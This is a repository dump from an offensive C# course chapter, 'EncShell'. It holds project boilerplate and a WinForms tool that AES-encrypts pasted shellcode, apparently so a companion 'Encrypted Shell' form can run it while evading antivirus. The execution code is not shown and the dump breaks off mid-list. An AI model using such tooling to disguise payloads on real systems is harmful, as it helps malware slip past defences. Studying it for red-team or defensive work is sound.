https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/Decryptor/obj/Debug/Decryptor.pdb -------------------------------------------------------------------------------- /Chapter7 - EncShell/Decryptor/obj/Debug/DesignTimeResolveAssemblyReferences.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/Decryptor/obj/Debug/DesignTimeResolveAssemblyReferences.cache -------------------------------------------------------------------------------- /Chapter7 - EncShell/Decryptor/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/Decryptor/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /Chapter7 - EncShell/EncryptShellCode/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/EncryptShellCode/EncryptShellCode.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {2BAD9D69-ADA9-4F1E-B838-9567E1503E93} 8 | WinExe 9 | EncryptShellCode 10 | EncryptShellCode 11 | v4.5 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | Form 50 | 51 | 52 | ShellcodeEncForm.cs 53 | 54 | 55 | 56 | 57 | ResXFileCodeGenerator 58 | Resources.Designer.cs 59 | Designer 60 | 61 | 62 | True 63 | Resources.resx 64 | 65 | 66 | ShellcodeEncForm.cs 67 | 68 | 69 | SettingsSingleFileGenerator 70 | Settings.Designer.cs 71 | 72 | 73 | True 74 | Settings.settings 75 | True 76 | 77 | 78 | 79 | 80 | 81 | 82 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/EncryptShellCode/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading.Tasks; 5 | using System.Windows.Forms; 6 | 7 | namespace EncryptShellCode 8 | { 9 | static class Program 10 | { 11 | /// 12 | /// The main entry point for the application. 13 | /// 14 | [STAThread] 15 | static void Main() 16 | { 17 | Application.EnableVisualStyles(); 18 | Application.SetCompatibleTextRenderingDefault(false); 19 | Application.Run(new ShellcodeEncForm()); 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/EncryptShellCode/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("EncryptShellCode")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("HP Inc.")] 12 | [assembly: AssemblyProduct("EncryptShellCode")] 13 | [assembly: AssemblyCopyright("Copyright © HP Inc. 2020")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("2bad9d69-ada9-4f1e-b838-9567e1503e93")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/EncryptShellCode/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace EncryptShellCode.Properties 12 | { 13 | 14 | 15 | /// 16 | /// A strongly-typed resource class, for looking up localized strings, etc. 17 | /// 18 | // This class was auto-generated by the StronglyTypedResourceBuilder 19 | // class via a tool like ResGen or Visual Studio. 20 | // To add or remove a member, edit your .ResX file then rerun ResGen 21 | // with the /str option, or rebuild your VS project. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources 26 | { 27 | 28 | private static global::System.Resources.ResourceManager resourceMan; 29 | 30 | private static global::System.Globalization.CultureInfo resourceCulture; 31 | 32 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 33 | internal Resources() 34 | { 35 | } 36 | 37 | /// 38 | /// Returns the cached ResourceManager instance used by this class. 39 | /// 40 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 41 | internal static global::System.Resources.ResourceManager ResourceManager 42 | { 43 | get 44 | { 45 | if ((resourceMan == null)) 46 | { 47 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("EncryptShellCode.Properties.Resources", typeof(Resources).Assembly); 48 | resourceMan = temp; 49 | } 50 | return resourceMan; 51 | } 52 | } 53 | 54 | /// 55 | /// Overrides the current thread's CurrentUICulture property for all 56 | /// resource lookups using this strongly typed resource class. 57 | /// 58 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 59 | internal static global::System.Globalization.CultureInfo Culture 60 | { 61 | get 62 | { 63 | return resourceCulture; 64 | } 65 | set 66 | { 67 | resourceCulture = value; 68 | } 69 | } 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/EncryptShellCode/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace EncryptShellCode.Properties 12 | { 13 | 14 | 15 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 16 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] 17 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase 18 | { 19 | 20 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 21 | 22 | public static Settings Default 23 | { 24 | get 25 | { 26 | return defaultInstance; 27 | } 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/EncryptShellCode/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/EncryptShellCode/ShellcodeEncForm.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Drawing; 6 | using System.IO; 7 | using System.Linq; 8 | using System.Security.Cryptography; 9 | using System.Text; 10 | using System.Threading.Tasks; 11 | using System.Windows.Forms; 12 | 13 | namespace EncryptShellCode 14 | { 15 | public partial class ShellcodeEncForm : Form 16 | { 17 | public ShellcodeEncForm() 18 | { 19 | InitializeComponent(); 20 | } 21 | 22 | private void btnKeyGen_Click(object sender, EventArgs e) 23 | { 24 | txtkey.Text = Convert.ToBase64String(GetKey(16)); 25 | txtIV.Text = Convert.ToBase64String(GetIV(16)); 26 | } 27 | 28 | 29 | private byte[] GetIV(int num) 30 | { 31 | var randomBytes = new byte[num]; // 32 Bytes will give us 256 bits. 32 | 33 | using (var rngCsp = new RNGCryptoServiceProvider()) 34 | { 35 | // Fill the array with cryptographically secure random bytes. 36 | rngCsp.GetBytes(randomBytes); 37 | } 38 | 39 | return randomBytes; 40 | } 41 | 42 | public byte[] GetKey(int size) 43 | { 44 | char[] caRandomChars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()".ToCharArray(); 45 | byte[] baKey = new byte[size]; 46 | using (RNGCryptoServiceProvider crypto = new RNGCryptoServiceProvider()) 47 | { 48 | crypto.GetBytes(baKey); 49 | } 50 | return baKey; 51 | } 52 | 53 | public byte[] Encrypt(byte[] baShellcode, byte[] key, byte[] iv) 54 | { 55 | using (var aes = Aes.Create()) 56 | { 57 | aes.KeySize = 128; 58 | aes.BlockSize = 128; 59 | aes.Padding = PaddingMode.Zeros; 60 | 61 | aes.Key = key; 62 | aes.IV = iv; 63 | 64 | using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV)) 65 | { 66 | return PerformCryptography(baShellcode, encryptor); 67 | } 68 | } 69 | } 70 | 71 | private byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform) 72 | { 73 | using (var ms = new MemoryStream()) 74 | using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write)) 75 | { 76 | cryptoStream.Write(data, 0, data.Length); 77 | cryptoStream.FlushFinalBlock(); 78 | 79 | return ms.ToArray(); 80 | } 81 | } 82 | 83 | private byte[] GetEncryptedShellCode(byte[] baShellCode, string strKey, string strIV) 84 | { 85 | 86 | byte[] baEncrypted; 87 | byte[] baKey, baIV; 88 | 89 | // HashAlgorithm hash = SHA256.Create(); 90 | 91 | 92 | // baKey = hash.ComputeHash(Encoding.Unicode.GetBytes(strKey)); 93 | 94 | baKey = Convert.FromBase64String(strKey); 95 | baIV = Convert.FromBase64String(strIV); 96 | // Create a new AesManaged. 97 | using (AesManaged aes = new AesManaged()) 98 | { 99 | aes.BlockSize = 128; 100 | aes.Padding = PaddingMode.PKCS7; 101 | // aes.Mode = CipherMode.CBC; 102 | // Create encryptor 103 | ICryptoTransform encryptor = aes.CreateEncryptor(baKey, baIV); 104 | 105 | using (MemoryStream ms = new MemoryStream()) 106 | { 107 | using (CryptoStream cs = new CryptoStream(ms, encryptor, CryptoStreamMode.Write)) 108 | { 109 | using (StreamWriter sw = new StreamWriter(cs)) 110 | { 111 | sw.Write(baShellCode); 112 | cs.FlushFinalBlock(); 113 | baEncrypted = ms.ToArray(); 114 | } 115 | } 116 | } 117 | 118 | } 119 | // Return encrypted data 120 | return baEncrypted; 121 | } 122 | 123 | private void btnEncryptShellCode_Click(object sender, EventArgs e) 124 | { 125 | byte[] baEncrypted; 126 | byte[] baKey, baIV; 127 | 128 | // HashAlgorithm hash = SHA256.Create(); 129 | 130 | 131 | // baKey = hash.ComputeHash(Encoding.Unicode.GetBytes(strKey)); 132 | 133 | baKey = Convert.FromBase64String(txtkey.Text); 134 | baIV = Convert.FromBase64String(txtIV.Text); 135 | txtEncShellcode.Text = Convert.ToBase64String(Encrypt(Encoding.UTF8.GetBytes(txtShellcode.Text), baKey, baIV)); 136 | } 137 | } 138 | } 139 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/EncryptShellCode/bin/Debug/EncryptShellCode.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/EncryptShellCode/bin/Debug/EncryptShellCode.exe -------------------------------------------------------------------------------- /Chapter7 - EncShell/EncryptShellCode/bin/Debug/EncryptShellCode.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/EncryptShellCode/bin/Debug/EncryptShellCode.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/EncryptShellCode/bin/Debug/EncryptShellCode.pdb -------------------------------------------------------------------------------- /Chapter7 - EncShell/EncryptShellCode/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] 5 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/EncryptShellCode/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/EncryptShellCode/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /Chapter7 - EncShell/EncryptShellCode/obj/Debug/EncryptShellCode.Properties.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/EncryptShellCode/obj/Debug/EncryptShellCode.Properties.Resources.resources -------------------------------------------------------------------------------- /Chapter7 - EncShell/EncryptShellCode/obj/Debug/EncryptShellCode.ShellcodeEncForm.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/EncryptShellCode/obj/Debug/EncryptShellCode.ShellcodeEncForm.resources -------------------------------------------------------------------------------- /Chapter7 - EncShell/EncryptShellCode/obj/Debug/EncryptShellCode.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 4bdb435a8f6ad0958086ae23e5c94afff3d65b1c 2 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/EncryptShellCode/obj/Debug/EncryptShellCode.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | D:\aalphaas\offensivec#\Chapter7 - EncShell\EncryptShellCode\bin\Debug\EncryptShellCode.exe.config 2 | D:\aalphaas\offensivec#\Chapter7 - EncShell\EncryptShellCode\bin\Debug\EncryptShellCode.exe 3 | D:\aalphaas\offensivec#\Chapter7 - EncShell\EncryptShellCode\bin\Debug\EncryptShellCode.pdb 4 | D:\aalphaas\offensivec#\Chapter7 - EncShell\EncryptShellCode\obj\Debug\EncryptShellCode.csprojAssemblyReference.cache 5 | D:\aalphaas\offensivec#\Chapter7 - EncShell\EncryptShellCode\obj\Debug\EncryptShellCode.Properties.Resources.resources 6 | D:\aalphaas\offensivec#\Chapter7 - EncShell\EncryptShellCode\obj\Debug\EncryptShellCode.ShellcodeEncForm.resources 7 | D:\aalphaas\offensivec#\Chapter7 - EncShell\EncryptShellCode\obj\Debug\EncryptShellCode.csproj.GenerateResource.cache 8 | D:\aalphaas\offensivec#\Chapter7 - EncShell\EncryptShellCode\obj\Debug\EncryptShellCode.csproj.CoreCompileInputs.cache 9 | D:\aalphaas\offensivec#\Chapter7 - EncShell\EncryptShellCode\obj\Debug\EncryptShellCode.exe 10 | D:\aalphaas\offensivec#\Chapter7 - EncShell\EncryptShellCode\obj\Debug\EncryptShellCode.pdb 11 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/EncryptShellCode/obj/Debug/EncryptShellCode.csproj.GenerateResource.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/EncryptShellCode/obj/Debug/EncryptShellCode.csproj.GenerateResource.cache -------------------------------------------------------------------------------- /Chapter7 - EncShell/EncryptShellCode/obj/Debug/EncryptShellCode.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/EncryptShellCode/obj/Debug/EncryptShellCode.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /Chapter7 - EncShell/EncryptShellCode/obj/Debug/EncryptShellCode.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/EncryptShellCode/obj/Debug/EncryptShellCode.exe -------------------------------------------------------------------------------- /Chapter7 - EncShell/EncryptShellCode/obj/Debug/EncryptShellCode.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/EncryptShellCode/obj/Debug/EncryptShellCode.pdb -------------------------------------------------------------------------------- /Chapter7 - EncShell/OutFiles/read.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/OutFiles/read.txt -------------------------------------------------------------------------------- /Chapter7 - EncShell/OutFiles/runit.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/OutFiles/runit.exe -------------------------------------------------------------------------------- /Chapter7 - EncShell/ShellCodeEncryptor/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/ShellCodeEncryptor/ExecShellCode.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {512015DE-A70F-4887-8EAE-E500FD2898AB} 8 | WinExe 9 | ShellCodeEncryptor 10 | ShellCodeEncryptor 11 | v4.5 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | Form 50 | 51 | 52 | ExecShellForm.cs 53 | 54 | 55 | 56 | 57 | ExecShellForm.cs 58 | 59 | 60 | ResXFileCodeGenerator 61 | Resources.Designer.cs 62 | Designer 63 | 64 | 65 | True 66 | Resources.resx 67 | 68 | 69 | SettingsSingleFileGenerator 70 | Settings.Designer.cs 71 | 72 | 73 | True 74 | Settings.settings 75 | True 76 | 77 | 78 | 79 | 80 | 81 | 82 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/ShellCodeEncryptor/ExecShellForm.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace ShellCodeEncryptor 2 | { 3 | partial class ExecShellForm 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.btnExec = new System.Windows.Forms.Button(); 32 | this.SuspendLayout(); 33 | // 34 | // btnExec 35 | // 36 | this.btnExec.Font = new System.Drawing.Font("Microsoft Sans Serif", 20F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); 37 | this.btnExec.Location = new System.Drawing.Point(12, 12); 38 | this.btnExec.Name = "btnExec"; 39 | this.btnExec.Size = new System.Drawing.Size(255, 161); 40 | this.btnExec.TabIndex = 0; 41 | this.btnExec.Text = "Don\'t Click"; 42 | this.btnExec.UseVisualStyleBackColor = true; 43 | this.btnExec.Click += new System.EventHandler(this.btnExec_Click); 44 | // 45 | // ExecShellForm 46 | // 47 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 48 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 49 | this.ClientSize = new System.Drawing.Size(281, 186); 50 | this.Controls.Add(this.btnExec); 51 | this.Name = "ExecShellForm"; 52 | this.Text = "Encrypted Shell"; 53 | this.ResumeLayout(false); 54 | 55 | } 56 | 57 | #endregion 58 | 59 | private System.Windows.Forms.Button btnExec; 60 | } 61 | } 62 | 63 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/ShellCodeEncryptor/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading.Tasks; 5 | using System.Windows.Forms; 6 | 7 | namespace ShellCodeEncryptor 8 | { 9 | static class Program 10 | { 11 | /// 12 | /// The main entry point for the application. 13 | /// 14 | [STAThread] 15 | static void Main() 16 | { 17 | Application.EnableVisualStyles(); 18 | Application.SetCompatibleTextRenderingDefault(false); 19 | Application.Run(new ExecShellForm()); 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/ShellCodeEncryptor/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("ShellCodeEncryptor")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("HP Inc.")] 12 | [assembly: AssemblyProduct("ShellCodeEncryptor")] 13 | [assembly: AssemblyCopyright("Copyright © HP Inc. 2020")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("512015de-a70f-4887-8eae-e500fd2898ab")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/ShellCodeEncryptor/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace ShellCodeEncryptor.Properties 12 | { 13 | 14 | 15 | /// 16 | /// A strongly-typed resource class, for looking up localized strings, etc. 17 | /// 18 | // This class was auto-generated by the StronglyTypedResourceBuilder 19 | // class via a tool like ResGen or Visual Studio. 20 | // To add or remove a member, edit your .ResX file then rerun ResGen 21 | // with the /str option, or rebuild your VS project. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources 26 | { 27 | 28 | private static global::System.Resources.ResourceManager resourceMan; 29 | 30 | private static global::System.Globalization.CultureInfo resourceCulture; 31 | 32 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 33 | internal Resources() 34 | { 35 | } 36 | 37 | /// 38 | /// Returns the cached ResourceManager instance used by this class. 39 | /// 40 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 41 | internal static global::System.Resources.ResourceManager ResourceManager 42 | { 43 | get 44 | { 45 | if ((resourceMan == null)) 46 | { 47 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("ShellCodeEncryptor.Properties.Resources", typeof(Resources).Assembly); 48 | resourceMan = temp; 49 | } 50 | return resourceMan; 51 | } 52 | } 53 | 54 | /// 55 | /// Overrides the current thread's CurrentUICulture property for all 56 | /// resource lookups using this strongly typed resource class. 57 | /// 58 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 59 | internal static global::System.Globalization.CultureInfo Culture 60 | { 61 | get 62 | { 63 | return resourceCulture; 64 | } 65 | set 66 | { 67 | resourceCulture = value; 68 | } 69 | } 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/ShellCodeEncryptor/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace ShellCodeEncryptor.Properties 12 | { 13 | 14 | 15 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 16 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] 17 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase 18 | { 19 | 20 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 21 | 22 | public static Settings Default 23 | { 24 | get 25 | { 26 | return defaultInstance; 27 | } 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/ShellCodeEncryptor/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/ShellCodeEncryptor/bin/Debug/ShellCodeEncryptor.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/ShellCodeEncryptor/bin/Debug/ShellCodeEncryptor.exe -------------------------------------------------------------------------------- /Chapter7 - EncShell/ShellCodeEncryptor/bin/Debug/ShellCodeEncryptor.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/ShellCodeEncryptor/bin/Debug/ShellCodeEncryptor.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/ShellCodeEncryptor/bin/Debug/ShellCodeEncryptor.pdb -------------------------------------------------------------------------------- /Chapter7 - EncShell/ShellCodeEncryptor/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] 5 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/ShellCodeEncryptor/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/ShellCodeEncryptor/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /Chapter7 - EncShell/ShellCodeEncryptor/obj/Debug/ExecShellCode.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 8ebb65ad137c80515f927ee6a988a9d1536d75d5 2 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/ShellCodeEncryptor/obj/Debug/ExecShellCode.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | D:\aalphaas\offensivec#\Chapter7 - EncShell\ShellCodeEncryptor\bin\Debug\ShellCodeEncryptor.exe.config 2 | D:\aalphaas\offensivec#\Chapter7 - EncShell\ShellCodeEncryptor\bin\Debug\ShellCodeEncryptor.exe 3 | D:\aalphaas\offensivec#\Chapter7 - EncShell\ShellCodeEncryptor\bin\Debug\ShellCodeEncryptor.pdb 4 | D:\aalphaas\offensivec#\Chapter7 - EncShell\ShellCodeEncryptor\obj\Debug\ExecShellCode.csprojAssemblyReference.cache 5 | D:\aalphaas\offensivec#\Chapter7 - EncShell\ShellCodeEncryptor\obj\Debug\ShellCodeEncryptor.ExecShellForm.resources 6 | D:\aalphaas\offensivec#\Chapter7 - 